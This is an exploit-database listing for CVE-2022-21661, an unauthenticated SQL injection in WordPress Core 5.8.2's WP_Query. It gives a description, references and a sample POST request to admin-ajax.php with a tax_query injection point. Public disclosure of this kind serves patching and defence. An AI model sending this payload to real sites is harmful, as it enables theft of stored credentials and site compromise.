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WordPress Core 5.8.2 SQL Injection

WordPress Core 5.8.2 SQL Injection
Posted Jan 13, 2022
Authored by Aryan Chehreghani

WordPress Core version 5.8.2 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2022-21661
SHA-256 | 290da5cda0c4555d189721910ddbcdad3d2627d4297306b55fc39785acd1346a

WordPress Core 5.8.2 SQL Injection

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# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661

# [ VULNERABILITY DETAILS ] :

#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ References ] :

https://wordpress.org/news/category/releases
https://www.zerodayinitiative.com/advisories/ZDI-22-020
https://hackerone.com/reports/1378209

# [ Sample Request ] :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}
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